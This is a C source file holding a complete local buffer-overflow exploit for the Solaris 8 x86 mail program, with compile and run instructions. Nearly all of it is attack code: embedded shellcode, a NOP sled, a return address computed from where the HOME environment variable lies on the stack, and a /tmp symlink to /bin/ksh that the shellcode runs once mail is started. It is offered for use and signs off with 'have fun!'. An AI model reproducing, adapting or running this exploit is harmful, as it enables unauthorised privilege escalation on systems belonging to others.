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mailex.c
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C/C++ Source or Header
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2005-02-12
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5KB
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186 lines
/*
* Solaris x86 mail HOME environment variable buffer overflow exploit
* by Virtualcat (virtualcat@hotmail.com)
* (virtualcat@xfocus.org)
* (http://www.xfocus.org)
*
* Compile: gcc -o mailex mailex.c
* Run : ./mailex [Adjustment]
*
* Tested on Solaris 8 (x86). Default should work.
*/
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#define RET_DIS 1028
#define NOP 0x90
#define NNOP 512
#define ENV_VAR "HOME"
#define USER_UPPER_MAGIC 0x08047fff
/* Shell code taken from Pablo Sor's "mailx -F" exploit code */
char shellCode[]=
"\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06"
"\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90"
"\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0"
"\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33"
"\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec"
"\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89"
"\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50"
"\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2"
"\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4"
"\x04\xe8\xc9\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78";
int get_esp()
{
__asm__("mov %esp,%eax");
}
int getEnvAddr(const char* envPtr)
{
int envAddr = NULL;
int retCode = 0;
char* charPtr = (char *) get_esp();
/* Search for the starting address of the environment string for */
/* the specified environment variable */
while((unsigned int) charPtr < (unsigned int) USER_UPPER_MAGIC)
{
retCode = memcmp((unsigned char *) charPtr++, envPtr, 4);
/* Found */
if(retCode == 0)
{
envAddr = (int) (charPtr - 1);
break;
}
}
return envAddr;
}
int main(int argc, char** argv)
{
char buff[256] = {0};
int* intPtr = NULL;
char* buffPtr = NULL;
char* charPtr = NULL;
int retAddr = 0;
int retValue = 0;
int buffLen = 0;
int adjustment = 0;
int strLen = 0;
int alignment = 0;
int diff = 0;
int i;
int shellCodeLen = strlen(shellCode);
if(argc == 2)
{
adjustment = atoi(argv[1]);
}
buffLen = strlen(ENV_VAR) + RET_DIS + NNOP + shellCodeLen + 1;
charPtr = getenv(ENV_VAR);
/* Adjust the stupid alignment */
strLen = strlen(charPtr) + 1;
alignment = strLen % 4;
if(alignment != 0)
{
alignment = 4 - alignment;
strLen += alignment;
}
alignment = buffLen % 4;
if(alignment != 0)
{
alignment = 4 - alignment;
buffLen += alignment;
}
retValue = getEnvAddr(ENV_VAR);
diff = buffLen - strLen;
retAddr = retValue - diff + strlen(ENV_VAR) + 1;
alignment = retAddr % 4;
if(alignment != 0)
{
alignment = 4 - alignment;
}
retAddr += RET_DIS + alignment + adjustment;
/* If the $HOME/dead.letter file exists, then delete it */
/* Otherwise the overfolow won't take place */
strcpy(buff, charPtr);
strcat(buff, "/dead.letter");
i = access(buff, F_OK);
if(i == 0)
{
unlink(buff);
}
/* Allocate memory for the evil buffer */
buffPtr = (char *) malloc(buffLen);
if(buffPtr != NULL)
{
strcpy(buffPtr, ENV_VAR);
strcat(buffPtr, "=");
charPtr = (char *) (buffPtr + strlen(buffPtr));
/* Fill the rest of the buffer with 'A' */
memset(charPtr, 0x41, buffLen - strlen(buffPtr));
/* Butt in the return address */
intPtr = (int *) (charPtr + RET_DIS);
*intPtr++ = retAddr;
/* Make sure the NOPs are located word aligned */
charPtr = (char *) intPtr;
charPtr += alignment;
for(i=0; i<NNOP; i++)
{
*charPtr++ = NOP;
}
for(i=0; i<shellCodeLen; i++)
{
*charPtr++ = shellCode[i];
}
*charPtr = 0;
symlink("/bin/ksh","/tmp/xx");
putenv(buffPtr);
printf("Jumping to 0x%.8x\n", retAddr);
printf("Press Ctrl+C to contine, have fun!\n");
system("/usr/bin/mail a");
unlink("/tmp/xx");
}
else
{
printf("No more free memory!");
}
}
/*..oO( I am virtual )Oo.. */